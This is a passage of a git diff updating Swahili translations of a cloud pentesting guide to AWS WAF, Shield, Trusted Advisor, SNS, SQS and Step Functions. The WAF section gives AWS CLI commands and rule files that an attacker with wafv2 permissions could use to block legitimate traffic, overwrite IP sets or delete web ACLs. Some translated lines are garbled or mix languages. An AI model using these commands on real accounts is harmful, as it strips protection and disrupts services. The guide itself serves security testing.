tabaka nne, **tabaka la usafirishaji**, ya DDoS. Ulinzi huu umeunganishwa na CloudFront na Route 53. -**AWS Shield advanced** inatoa **ngazi kubwa ya ulinzi** dhidi ya mashambulizi ya DDoS katika wigo mpana wa huduma za AWS kwa gharama ya ziada. Ngazi hii ya juu inatoa ulinzi dhidi ya programu zako za wavuti zinazotumia EC2, CloudFront, ELB na pia Route 53. Mbali na aina hizi za rasilimali zinazolindwa, kuna viwango vilivyoboreshwa vya ulinzi wa DDoS vinavyotolewa ikilinganishwa na ile ya Standard. Na pia utakuwa na **ufikiaji wa timu maalum ya majibu ya DDoS ya masaa 24 kwa siku saba katika AWS, inayojulikana kama DRT**. +**AWS Shield advanced** inatoa **ngazi kubwa ya ulinzi** dhidi ya mashambulizi ya DDoS katika wigo mpana wa huduma za AWS kwa gharama ya ziada. Ngazi hii ya juu inatoa ulinzi dhidi ya programu zako za wavuti zinazofanya kazi kwenye EC2, CloudFront, ELB na pia Route 53. Mbali na aina hizi za rasilimali zinazolindwa, kuna viwango vilivyoboreshwa vya ulinzi wa DDoS vinavyotolewa ikilinganishwa na ile ya Standard. Na pia utakuwa na **ufikiaji wa timu maalum ya majibu ya DDoS ya masaa 24 kwa siku saba katika AWS, inayojulikana kama DRT**. Wakati toleo la Standard la Shield lilitoa ulinzi dhidi ya tabaka tatu na tabaka nne, **Advanced pia inatoa ulinzi dhidi ya tabaka saba, mashambulizi ya programu.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md index b939b4b7a..17f7ff130 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,20 +6,20 @@ ## AWS Trusted Advisor Overview -Trusted Advisor ni huduma ambayo **inatoa mapendekezo** ya kuboresha akaunti yako ya AWS, ikilingana na **mbinu bora za AWS**. Ni huduma inayofanya kazi katika maeneo mengi. Trusted Advisor inatoa maarifa katika makundi manne makuu: +Trusted Advisor ni huduma inayotoa **mapendekezo** ya kuboresha akaunti yako ya AWS, ikilingana na **mbinu bora za AWS**. Ni huduma inayofanya kazi katika maeneo mengi. Trusted Advisor inatoa maarifa katika makundi makuu manne: 1. **Cost Optimization:** Inapendekeza jinsi ya kubadilisha rasilimali ili kupunguza gharama. 2. **Performance:** Inatambua matatizo yanayoweza kuathiri utendaji. 3. **Security:** Inachunguza udhaifu au mipangilio dhaifu ya usalama. 4. **Fault Tolerance:** Inapendekeza mbinu za kuongeza uimara wa huduma na uvumilivu wa makosa. -Vipengele vya kina vya Trusted Advisor vinapatikana pekee kwa **mipango ya msaada wa biashara au biashara**. Bila mipango hii, ufikiaji unakabiliwa na **ukaguzi sita muhimu**, hasa unaolenga utendaji na usalama. +Vipengele vya kina vya Trusted Advisor vinapatikana pekee kwa **mipango ya msaada wa biashara au biashara ya AWS**. Bila mipango hii, ufikiaji unakabiliwa na **ukaguzi sita muhimu**, hasa unaolenga utendaji na usalama. ### Notifications and Data Refresh - Trusted Advisor inaweza kutoa arifa. - Vitu vinaweza kutengwa kutoka kwa ukaguzi wake. -- Data inasasishwa kila masaa 24. Hata hivyo, kusasisha kwa mkono kunawezekana dakika 5 baada ya sasisho la mwisho. +- Data inasasishwa kila masaa 24. Hata hivyo, kusasishwa kwa mkono kunawezekana dakika 5 baada ya sasisho la mwisho. ### **Checks Breakdown** @@ -58,9 +58,9 @@ Orodha ya ukaguzi inayolenga hasa kutambua na kurekebisha vitisho vya usalama: - Vikundi vya usalama kwa ELBs - Ukaguzi wa vyeti kwa CloudFront - Mzunguko wa funguo za ufikiaji wa IAM (siku 90) -- Ufunuo wa funguo za ufikiaji (mfano, kwenye GitHub) -- Kuonekana kwa umma kwa EBS au RDS snapshots -- Sera dhaifu au zisizo na mipango ya nywila za IAM +- Ufunuo wa funguo za ufikiaji (kwa mfano, kwenye GitHub) +- Uwazi wa umma wa EBS au RDS snapshots +- Sera dhaifu au zisizo na nenosiri za IAM AWS Trusted Advisor inafanya kazi kama chombo muhimu katika kuhakikisha uboreshaji, utendaji, usalama, na uvumilivu wa makosa wa huduma za AWS kulingana na mbinu zilizowekwa. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index e5f35bd9a..73a909882 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -6,30 +6,30 @@ ## AWS WAF -AWS WAF ni **firewall ya programu za wavuti** iliyoundwa ili **kulinda programu za wavuti au APIs** dhidi ya mashambulizi mbalimbali ya wavuti ambayo yanaweza kuathiri upatikanaji, usalama, au matumizi ya rasilimali zao. Inawawezesha watumiaji kudhibiti trafiki inayokuja kwa kuweka **sheria za usalama** ambazo hupunguza njia za kawaida za shambulio kama vile SQL injection au cross-site scripting na pia kwa kufafanua sheria za kuchuja za kawaida. +AWS WAF ni **firewall ya programu za wavuti** iliyoundwa ili **kulinda programu za wavuti au APIs** dhidi ya mashambulizi mbalimbali ya wavuti ambayo yanaweza kuathiri upatikanaji, usalama, au matumizi ya rasilimali zao. Inawapa watumiaji uwezo wa kudhibiti trafiki inayokuja kwa kuweka **sheria za usalama** ambazo hupunguza njia za kawaida za shambulio kama vile SQL injection au cross-site scripting na pia kwa kufafanua sheria za kuchuja za kawaida. -### Key concepts +### Dhana muhimu #### Web ACL (Orodha ya Udhibiti wa Ufikiaji) Web ACL ni mkusanyiko wa sheria ambazo unaweza kutumia kwa programu zako za wavuti au APIs. Unapounganisha Web ACL na rasilimali, AWS WAF inachunguza maombi yanayokuja kulingana na sheria zilizofafanuliwa katika Web ACL na kuchukua hatua zilizotajwa. -#### Rule Group +#### Kundi la Sheria -Rule Group ni mkusanyiko wa sheria zinazoweza kutumika tena ambazo unaweza kutumia kwa Web ACL nyingi. Makundi ya sheria husaidia kusimamia na kudumisha seti za sheria zinazofanana katika programu tofauti za wavuti au APIs. +Kundi la Sheria ni mkusanyiko wa sheria zinazoweza kutumika tena ambazo unaweza kutumia kwa Web ACL nyingi. Makundi ya sheria husaidia kusimamia na kudumisha seti za sheria zinazofanana katika programu tofauti za wavuti au APIs. Kila kundi la sheria lina **uwezo** wake, ambao husaidia kuhesabu na kudhibiti rasilimali zinazotumika kuendesha sheria zako, makundi ya sheria, na Web ACLs. Mara thamani yake inapowekwa wakati wa uundaji, haiwezekani kuibadilisha. -#### Rule +#### Sheria Sheria inafafanua seti ya masharti ambayo AWS WAF inatumia kuchunguza maombi ya wavuti yanayokuja. Kuna aina mbili kuu za sheria: 1. **Sheria ya Kawaida**: Aina hii ya sheria inatumia masharti yaliyotajwa ili kuamua ikiwa ruhusa, kuzuia, au kuhesabu maombi ya wavuti. 2. **Sheria ya Kiwango**: Inahesabu maombi kutoka kwa anwani maalum ya IP katika kipindi cha dakika tano. Hapa, watumiaji wanafafanua kigezo, na ikiwa idadi ya maombi kutoka kwa IP inazidi kikomo hiki ndani ya dakika tano, maombi yanayofuata kutoka kwa IP hiyo yanazuia hadi kiwango cha maombi kishuke chini ya kigezo. Kigezo cha chini kwa sheria za kiwango ni **maombi 2000**. -#### Managed Rules +#### Sheria Zinazosimamiwa -AWS WAF inatoa seti za sheria zilizowekwa awali, zinazodhibitiwa na AWS na wauzaji wa AWS Marketplace. Seti hizi za sheria zinatoa ulinzi dhidi ya vitisho vya kawaida na zinafanyiwa sasisho mara kwa mara ili kushughulikia udhaifu mpya. +AWS WAF inatoa seti za sheria zilizowekwa awali, zinazodhibitiwa na AWS na wauzaji wa AWS Marketplace. Seti hizi za sheria hutoa ulinzi dhidi ya vitisho vya kawaida na zinafanyiwa sasisho mara kwa mara ili kushughulikia udhaifu mpya. #### IP Set @@ -47,35 +47,35 @@ Lock Token inatumika kwa udhibiti wa ushirikiano wakati wa kufanya sasisho kwa r API Keys katika AWS WAF zinatumika kuthibitisha maombi kwa shughuli fulani za API. Funguo hizi zimefichwa na kusimamiwa kwa usalama ili kudhibiti ufikiaji na kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kufanya mabadiliko kwenye usanidi wa WAF. -- **Mfano**: Uunganisho wa API ya CAPTCHA. +- **Mfano**: Uunganisho wa CAPTCHA API. -#### Permission Policy +#### Sera ya Ruhusa -Permission Policy ni sera ya IAM ambayo inabainisha ni nani anaweza kufanya vitendo kwenye rasilimali za AWS WAF. Kwa kufafanua ruhusa, unaweza kudhibiti ufikiaji wa rasilimali za WAF na kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kuunda, kusasisha, au kufuta usanidi. +Sera ya Ruhusa ni sera ya IAM inayofafanua ni nani anaweza kufanya vitendo kwenye rasilimali za AWS WAF. Kwa kufafanua ruhusa, unaweza kudhibiti ufikiaji wa rasilimali za WAF na kuhakikisha kwamba ni watumiaji walioidhinishwa pekee wanaweza kuunda, kusasisha, au kufuta usanidi. -#### Scope +#### Muktadha -Parameta ya scope katika AWS WAF inabainisha ikiwa sheria na usanidi wa WAF zinatumika kwa programu ya kikanda au usambazaji wa Amazon CloudFront. +Parameta ya muktadha katika AWS WAF inafafanua ikiwa sheria na usanidi wa WAF zinatumika kwa programu ya kikanda au usambazaji wa Amazon CloudFront. -- **REGIONAL**: Inatumika kwa huduma za kikanda kama vile Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, huduma ya AWS App Runner na mfano wa AWS Verified Access. Unabainisha eneo la AWS ambapo rasilimali hizi zipo. +- **REGIONAL**: Inatumika kwa huduma za kikanda kama vile Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, huduma ya AWS App Runner na mfano wa AWS Verified Access. Unafafanua eneo la AWS ambapo rasilimali hizi ziko. - **CLOUDFRONT**: Inatumika kwa usambazaji wa Amazon CloudFront, ambao ni wa kimataifa. Usanidi wa WAF kwa CloudFront unasimamiwa kupitia eneo la `us-east-1` bila kujali mahali ambapo maudhui yanatolewa. -### Key features +### Vipengele muhimu -#### Monitoring Criteria (Masharti) +#### Kigezo cha Ufuatiliaji (Masharti) -**Masharti** yanabainisha vipengele vya maombi ya HTTP/HTTPS yanayokuja ambayo AWS WAF inafuatilia, ambayo ni pamoja na XSS, eneo la kijiografia (GEO), anwani za IP, vikwazo vya ukubwa, SQL Injection, na mifumo (mifumo ya herufi na mechi ya regex). Ni muhimu kutambua kwamba **maombi yaliyopunguziliwa mbali kwenye kiwango cha CloudFront kulingana na nchi hayatofika WAF**. +**Masharti** yanafafanua vipengele vya maombi ya HTTP/HTTPS yanayokuja ambayo AWS WAF inafuatilia, ambayo ni pamoja na XSS, eneo la kijiografia (GEO), anwani za IP, vikwazo vya ukubwa, SQL Injection, na mifumo (mifumo ya herufi na mechi ya regex). Ni muhimu kutambua kwamba **maombi yaliyopunguziliwa kwenye kiwango cha CloudFront kulingana na nchi hayatofika kwa WAF**. -Kila akaunti ya AWS inaweza kufafanua: +Kila akaunti ya AWS inaweza kuunda: -- **Masharti 100** kwa kila aina (isipokuwa kwa Regex, ambapo ni **masharti 10** pekee yanaruhusiwa, lakini kikomo hiki kinaweza kuongezwa). -- **Sheria 100** na **Web ACLs 50**. +- **masharti 100** kwa kila aina (isipokuwa kwa Regex, ambapo ni **masharti 10** pekee yanaruhusiwa, lakini kikomo hiki kinaweza kuongezwa). +- **sheria 100** na **Web ACLs 50**. - Kiwango cha juu cha **sheria 5 za kiwango**. - Uhamasishaji wa **maombi 10,000 kwa sekunde** wakati WAF inatekelezwa na balancer ya mzigo wa programu. -#### Rule actions +#### Hatua za Sheria -Vitendo vinatolewa kwa kila sheria, na chaguo ni: +Hatua zinapewa kila sheria, ambapo chaguzi ni: - **Ruhusu**: Ombi linaelekezwa kwa usambazaji wa CloudFront au Balancer ya Mzigo wa Programu inayofaa. - **Zuia**: Ombi linakatishwa mara moja. @@ -86,20 +86,20 @@ Ikiwa ombi halifai na sheria yoyote ndani ya Web ACL, linapitia **hatua ya defau 1. Ruhusu IP zilizoorodheshwa. 2. Zuia IP zilizoorodheshwa. -3. Zuia maombi yanayolingana na saini yoyote mbaya. +3. Zuia maombi yanayolingana na saini zozote mbaya. -#### CloudWatch Integration +#### Uunganisho wa CloudWatch -AWS WAF inajumuisha na CloudWatch kwa ajili ya ufuatiliaji, ikitoa vipimo kama vile AllowedRequests, BlockedRequests, CountedRequests, na PassedRequests. Vipimo hivi vinaripotiwa kila dakika kwa msingi na vinahifadhiwa kwa kipindi cha wiki mbili. +AWS WAF inajumuisha na CloudWatch kwa ufuatiliaji, ikitoa vipimo kama vile AllowedRequests, BlockedRequests, CountedRequests, na PassedRequests. Vipimo hivi vinaporipotiwa kila dakika kwa default na vinahifadhiwa kwa kipindi cha wiki mbili. -### Enumeration +### Uhesabuji -Ili kuingiliana na usambazaji wa CloudFront, lazima ubainishe Eneo la US East (N. Virginia): +Ili kuingiliana na usambazaji wa CloudFront, lazima ueleze Eneo la US East (N. Virginia): -- CLI - Baini Eneo la US East unapotumia scope ya CloudFront: `--scope CLOUDFRONT --region=us-east-1`. -- API na SDKs - Kwa simu zote, tumia mwisho wa eneo la us-east-1. +- CLI - Eleza Eneo la US East unapotumia muktadha wa CloudFront: `--scope CLOUDFRONT --region=us-east-1`. +- API na SDKs - Kwa simu zote, tumia kiunganishi cha eneo us-east-1. -Ili kuingiliana na huduma za kikanda, unapaswa kubainisha eneo: +Ili kuingiliana na huduma za kikanda, unapaswa kueleza eneo: - Mfano na eneo la Ulaya (Uhispania): `--scope REGIONAL --region=eu-south-2` ```bash @@ -190,9 +190,9 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > [!TIP] > Kutoka kwa mtazamo wa mshambuliaji, huduma hii inaweza kumsaidia mshambuliaji kubaini ulinzi wa WAF na wazi za mtandao ambazo zinaweza kumsaidia kuathiri tovuti nyingine. > -> Hata hivyo, mshambuliaji anaweza pia kuwa na hamu ya kuharibu huduma hii ili tovuti zisihifadhiwe na WAF. +> Hata hivyo, mshambuliaji anaweza pia kuwa na hamu ya kuharibu huduma hii ili tovuti zisijazwe na WAF. -Katika nyingi ya operesheni za Kufuta na Kusasisha itakuwa muhimu kutoa **lock token**. Token hii inatumika kwa udhibiti wa ushirikiano juu ya rasilimali, kuhakikisha kwamba mabadiliko hayakosi kwa bahati na watumiaji au michakato kadhaa wanaojaribu kusasisha rasilimali hiyo hiyo kwa wakati mmoja. Ili kupata token hii unaweza kufanya operesheni husika za **list** au **get** juu ya rasilimali maalum. +Katika operesheni nyingi za Kufuta na Kusasisha itahitajika kutoa **lock token**. Token hii inatumika kwa udhibiti wa ushirikiano juu ya rasilimali, kuhakikisha kwamba mabadiliko hayakosi kwa bahati na watumiaji au michakato kadhaa wanaojaribu kusasisha rasilimali hiyo hiyo kwa wakati mmoja. Ili kupata token hii unaweza kufanya operesheni husika za **list** au **get** juu ya rasilimali maalum. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** @@ -211,11 +211,11 @@ aws wafv2 update-rule-group --name --id --visibility-config --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Mifano ifuatayo inaonyesha kikundi cha sheria ambacho kingezuia trafiki halali kutoka kwa anwani maalum za IP: +Mifano ifuatayo inaonyesha kundi la sheria ambalo lingezuia trafiki halali kutoka kwa anwani maalum za IP: ```bash aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=BlockLegitimateIPsRuleGroup --scope CLOUDFRONT --region us-east-1 --rules file://rule.json ``` -Faili la **rule.json** litakuwa na muonekano kama: +Faili la **rule.json** litakuwa na muonekano kama huu: ```json [ { @@ -243,12 +243,12 @@ Faili la **rule.json** litakuwa na muonekano kama: Kwa ruhusa hizi, mshambuliaji angeweza: -- Kuunda Web ACL mpya, kuanzisha sheria ambazo zinaruhusu trafiki mbaya kupita au kuzuia trafiki halali, hivyo kufanya WAF kuwa haina maana au kusababisha kukatizwa kwa huduma. +- Kuunda Web ACL mpya, akianzisha sheria ambazo zinaruhusu trafiki mbaya kupita au kuzuia trafiki halali, hivyo kufanya WAF kuwa haina maana au kusababisha kukatizwa kwa huduma. - Kusasisha Web ACL zilizopo, akiwa na uwezo wa kubadilisha sheria ili kuruhusu mashambulizi kama vile SQL injection au cross-site scripting, ambayo hapo awali yalikuwa yamezuiliwa, au kuharibu mtiririko wa trafiki wa kawaida kwa kuzuia maombi halali. -- Kufuta Web ACL, kuacha rasilimali zilizoathiriwa zisizo na ulinzi kabisa, na kuziweka katika hatari ya mashambulizi mbalimbali ya mtandao. +- Kufuta Web ACL, na kuacha rasilimali zilizoathirika zisizo na ulinzi kabisa, na kuziweka katika hatari ya mashambulizi mbalimbali ya mtandao. > [!NOTE] -> Unaweza kufuta tu **WebACL** iliyotajwa ikiwa **ManagedByFirewallManager** ni uongo. +> Unaweza kufuta tu **WebACL** iliyoainishwa ikiwa **ManagedByFirewallManager** ni false. ```bash # Create Web ACL aws wafv2 create-web-acl --name --default-action --visibility-config \ @@ -307,7 +307,7 @@ Amri ya kusasisha Web ACL: ```json aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --default-action Block={} --visibility-config SampledRequestsEnabled=false,CloudWatchMetricsEnabled=false,MetricName=AllowLegitimateIPsWebACL --rules file://rule.json --region us-east-1 ``` -Faili la **rule.json** litakuwa na muonekano kama: +Faili la **rule.json** litakuwa na muonekano kama huu: ```json [ { @@ -337,14 +337,14 @@ Ruhusa ya **`wafv2:AssociateWebACL`** ingemruhusu mshambuliaji kuunganisha web A Ruhusa za ziada zitahitajika kulingana na aina ya rasilimali iliyolindwa: -- **Unganisha** +- **Kuunganisha** - apigateway:SetWebACL - apprunner:AssociateWebAcl - appsync:SetWebACL - cognito-idp:AssociateWebACL - ec2:AssociateVerifiedAccessInstanceWebAcl - elasticloadbalancing:SetWebAcl -- **Tenganisha** +- **Kutoa Unganisho** - apigateway:SetWebACL - apprunner:DisassociateWebAcl - appsync:SetWebACL @@ -370,7 +370,7 @@ aws wafv2 update-ip-set --name --id --addresses --lock-t # Delete IP set aws wafv2 delete-ip-set --name --id --lock-token --scope | CLOUDFRONT --region=us-east-1> ``` -Mfano ufuatao unaonyesha jinsi ya **kufuta seti ya IP iliyopo kwa seti ya IP inayotakiwa**: +Mfano ufuatao unaonyesha jinsi ya **kuandika upya seti ya IP iliyopo kwa seti ya IP inayotakiwa**: ```bash aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --addresses 99.99.99.99/32 --lock-token 1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f --scope CLOUDFRONT --region us-east-1 ``` @@ -378,11 +378,11 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a #### **`wafv2:CreateRegexPatternSet`** , **`wafv2:UpdateRegexPatternSet`**, **`wafv2:DeleteRegexPatternSet`** -Mshambuliaji mwenye ruhusa hizi angeweza kubadilisha seti za mifumo ya kawaida ya regex zinazotumiwa na AWS WAF kudhibiti na kuchuja trafiki inayokuja kulingana na mifumo maalum. +Mshambuliaji mwenye ruhusa hizi angeweza kubadilisha seti za mifumo ya kawaida ya regex inayotumiwa na AWS WAF kudhibiti na kuchuja trafiki inayokuja kulingana na mifumo maalum. -- Kuunda mifumo mipya ya regex kungemsaidia mshambuliaji kuruhusu maudhui hatari -- Kusasisha mifumo iliyopo, mshambuliaji angeweza kupita sheria za usalama -- Kufuta mifumo ambayo imeundwa kuzuia shughuli mbaya kunaweza kumsaidia mshambuliaji kutuma payload hatari na kupita hatua za usalama. +- Kuunda mifumo mipya ya regex kungemsaidia mshambuliaji kuruhusu maudhui mabaya +- K updating mifumo iliyopo, mshambuliaji angeweza kupita sheria za usalama +- Kufuta mifumo ambayo imeundwa kuzuia shughuli mbaya kunaweza kumwezesha mshambuliaji kutuma payloads mbaya na kupita hatua za usalama. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -395,7 +395,7 @@ aws wafv2 delete-regex-pattern-set --name --scope ``` -It's also possible to do this from the AWS console web. +Ni pia inawezekana kufanya hivi kutoka kwenye AWS console web. ### Enumeration > [!WARNING] -> Kumbuka kwamba SES ina API 2: **`ses`** na **`sesv2`**. Vitendo vingine viko katika API zote mbili na vingine viko tu katika moja ya hizo mbili. +> Kumbuka kwamba SES ina APIs 2: **`ses`** na **`sesv2`**. Vitendo vingine viko katika APIs zote mbili na vingine ni vya moja tu ya hizo mbili. ```bash # Get info about the SES account aws sesv2 get-account diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index fa83cdb01..9df146238 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -4,15 +4,15 @@ ## SNS -Amazon Simple Notification Service (Amazon SNS) in وصفها كـ **خدمة رسائل مُدارة بالكامل**. تدعم كل من **التطبيق إلى التطبيق** (A2A) و **التطبيق إلى الشخص** (A2P) أنواع الاتصال. +Amazon Simple Notification Service (Amazon SNS) in وصف kama **huduma ya ujumbe inayosimamiwa kikamilifu**. Inasaidia aina za mawasiliano **kutoka programu hadi programu** (A2A) na **kutoka programu hadi mtu** (A2P). -المميزات الرئيسية لتواصل A2A تشمل **آليات النشر/الاشتراك (pub/sub)**. هذه الآليات تقدم **مواضيع**، وهي ضرورية لتمكين **الرسائل المعتمدة على الدفع، ذات الكثافة العالية، من العديد إلى العديد**. هذه الميزة مفيدة للغاية في السيناريوهات التي تتضمن أنظمة موزعة، خدمات صغيرة، وهياكل خالية من الخادم مدفوعة بالحدث. من خلال الاستفادة من هذه المواضيع، يمكن لأنظمة الناشرين توزيع الرسائل بكفاءة إلى **مجموعة واسعة من أنظمة المشتركين**، مما يسهل نمط الرسائل المتفرعة. +Vipengele muhimu kwa mawasiliano ya A2A ni pamoja na **mekanismu za kuchapisha/kujiunga (pub/sub)**. Mekanismu hizi zinaanzisha **mada**, muhimu kwa kuwezesha ujumbe wa **kuwasilisha kwa wingi, unaotegemea kusukuma, wa wengi kwa wengi**. Kipengele hiki ni cha faida sana katika hali zinazohusisha mifumo iliyosambazwa, huduma ndogo, na usanifu wa seva zisizo na matukio. Kwa kutumia mada hizi, mifumo ya wachapishaji inaweza kusambaza ujumbe kwa ufanisi kwa **mifumo mbalimbali ya wapokeaji**, ikirahisisha muundo wa ujumbe wa fanout. -### **Difference with SQS** +### **Tofauti na SQS** -**SQS** هي خدمة **مبنية على الطوابير** تسمح بالتواصل من نقطة إلى نقطة، مما يضمن معالجة الرسائل بواسطة **مستهلك واحد**. تقدم **تسليم على الأقل مرة واحدة**، تدعم الطوابير القياسية و FIFO، وتسمح بالاحتفاظ بالرسائل لإعادة المحاولة والمعالجة المتأخرة.\ -من ناحية أخرى، **SNS** هي خدمة **مبنية على النشر/الاشتراك**، مما يمكّن **التواصل من واحد إلى العديد** من خلال بث الرسائل إلى **عدة مشتركين** في وقت واحد. تدعم **نقاط الاشتراك المختلفة مثل البريد الإلكتروني، SMS، وظائف Lambda، و HTTP/HTTPS**، وتوفر آليات تصفية لتسليم الرسائل المستهدفة.\ -بينما تمكّن كلا الخدمتين من فصل المكونات في الأنظمة الموزعة، تركز SQS على التواصل القائم على الطوابير، بينما تركز SNS على أنماط التواصل المدفوعة بالحدث والمتفرعة. +**SQS** ni **huduma inayotegemea foleni** inayoruhusu mawasiliano ya pointi hadi pointi, kuhakikisha kwamba ujumbe unachakatwa na **mpokeaji mmoja**. Inatoa **usambazaji angalau mara moja**, inasaidia foleni za kawaida na FIFO, na inaruhusu uhifadhi wa ujumbe kwa ajili ya kurudi na usindikaji wa kucheleweshwa.\ +Kwa upande mwingine, **SNS** ni **huduma inayotegemea kuchapisha/kujiunga**, ikiruhusu mawasiliano **moja hadi wengi** kwa kutangaza ujumbe kwa **wapokeaji wengi** kwa wakati mmoja. Inasaidia **nukuu mbalimbali za kujiunga kama barua pepe, SMS, kazi za Lambda, na HTTP/HTTPS**, na inatoa mekanismu za kuchuja kwa usambazaji wa ujumbe wa lengo.\ +Ingawa huduma zote mbili zinawezesha kutenganisha kati ya vipengele katika mifumo iliyosambazwa, SQS inazingatia mawasiliano ya foleni, na SNS inasisitiza muundo wa mawasiliano ya matukio, fan-out. ### **Enumeration** ```bash @@ -44,7 +44,7 @@ aws sns subscribe --region \ > [!CAUTION] > Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wanachama pekee wanaotumia itifaki **SQS** wanaweza kutumika (HTTP au HTTPS haiwezi kutumika). > -> Pia, hata kama `--topic-arn` ina eneo hakikisha unataja eneo sahihi katika **`--region`** au utapata kosa ambalo linaonekana kuashiria kwamba huna ufikiaji lakini tatizo ni eneo. +> Pia, hata kama `--topic-arn` ina eneo hakikisha unataja eneo sahihi katika **`--region`** au utapata kosa linaloashiria kwamba huna uf access lakini tatizo ni eneo. #### Unauthenticated Access diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index b0ef6a049..842bf8b72 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,7 +4,7 @@ ## SQS -Amazon Simple Queue Service (SQS) inawasilishwa kama **huduma ya ujumbe wa foleni inayosimamiwa kikamilifu**. Kazi yake kuu ni kusaidia katika kupanua na kutenganisha microservices, mifumo iliyosambazwa, na programu zisizo na seva. Huduma hii imeundwa kuondoa hitaji la kusimamia na kufanya kazi na middleware inayolenga ujumbe, ambayo mara nyingi inaweza kuwa ngumu na inahitaji rasilimali nyingi. Kuondolewa kwa ugumu huu kunawawezesha waendelezaji kuelekeza juhudi zao kwenye vipengele vya ubunifu na tofauti zaidi vya kazi zao. +Amazon Simple Queue Service (SQS) inawasilishwa kama **huduma ya ujumbe ya kuwasilisha inayosimamiwa kikamilifu**. Kazi yake kuu ni kusaidia katika kupanua na kutenganisha microservices, mifumo iliyosambazwa, na programu zisizo na seva. Huduma hii imeundwa kuondoa hitaji la kusimamia na kufanya kazi na middleware inayolenga ujumbe, ambayo mara nyingi inaweza kuwa ngumu na kutumia rasilimali nyingi. Kuondolewa kwa ugumu huu kunawawezesha waendelezaji kuelekeza juhudi zao kwenye vipengele vya ubunifu na tofauti vya kazi zao. ### Enumeration ```bash @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> Pia, hata kama `--queue-url` ina eneo hakikisha unataja eneo sahihi katika **`--region`** au utapata kosa ambalo linaonekana kuashiria kwamba huna ufaccess lakini tatizo ni eneo. +> Pia, hata kama `--queue-url` ina eneo hakikisha unataja eneo sahihi katika **`--region`** au utapata kosa linaloonekana kama linaonyesha kwamba huna ufikiaji lakini tatizo ni eneo. #### Unauthenticated Access diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index ff7bd88be..57333ad97 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,7 +4,7 @@ ## Step Functions -AWS Step Functions ni huduma ya mchakato inayokuwezesha kuratibu na kuendesha huduma nyingi za AWS katika michakato isiyo na seva. Kwa kutumia AWS Step Functions, unaweza kubuni na kuendesha michakato inayounganisha huduma mbalimbali za AWS kama AWS Lambda, Amazon S3, Amazon DynamoDB, na nyingi zaidi, katika mfululizo wa hatua. Huduma hii ya uratibu inatoa kiolesura cha mchakato wa kuona na inatoa uwezo wa **mashine ya hali**, ikikuruhusu kufafanua kila hatua ya mchakato kwa njia ya kutangaza kwa kutumia lugha ya **Amazon States Language** (ASL) inayotumia JSON. +AWS Step Functions ni huduma ya mchakato inayokuwezesha kuratibu na kuandaa huduma nyingi za AWS katika michakato isiyo na seva. Kwa kutumia AWS Step Functions, unaweza kubuni na kuendesha michakato inayounganisha huduma mbalimbali za AWS kama AWS Lambda, Amazon S3, Amazon DynamoDB, na nyingine nyingi, katika mfululizo wa hatua. Huduma hii ya uratibu inatoa kiolesura cha mchakato wa kuona na inatoa uwezo wa **mashine ya hali**, ikikuruhusu kufafanua kila hatua ya mchakato kwa njia ya kutangaza kwa kutumia lugha ya **Amazon States Language** (ASL) inayotegemea JSON. ## Key concepts @@ -12,20 +12,20 @@ AWS Step Functions ni huduma ya mchakato inayokuwezesha kuratibu na kuendesha hu AWS Step Functions inatoa aina mbili za **michakato ya mashine ya hali**: Standard na Express. -- **Standard Workflow**: Aina hii ya mchakato wa kawaida imeundwa kwa ajili ya michakato ya muda mrefu, ya kudumu, na inayoweza kukaguliwa. Inasaidia 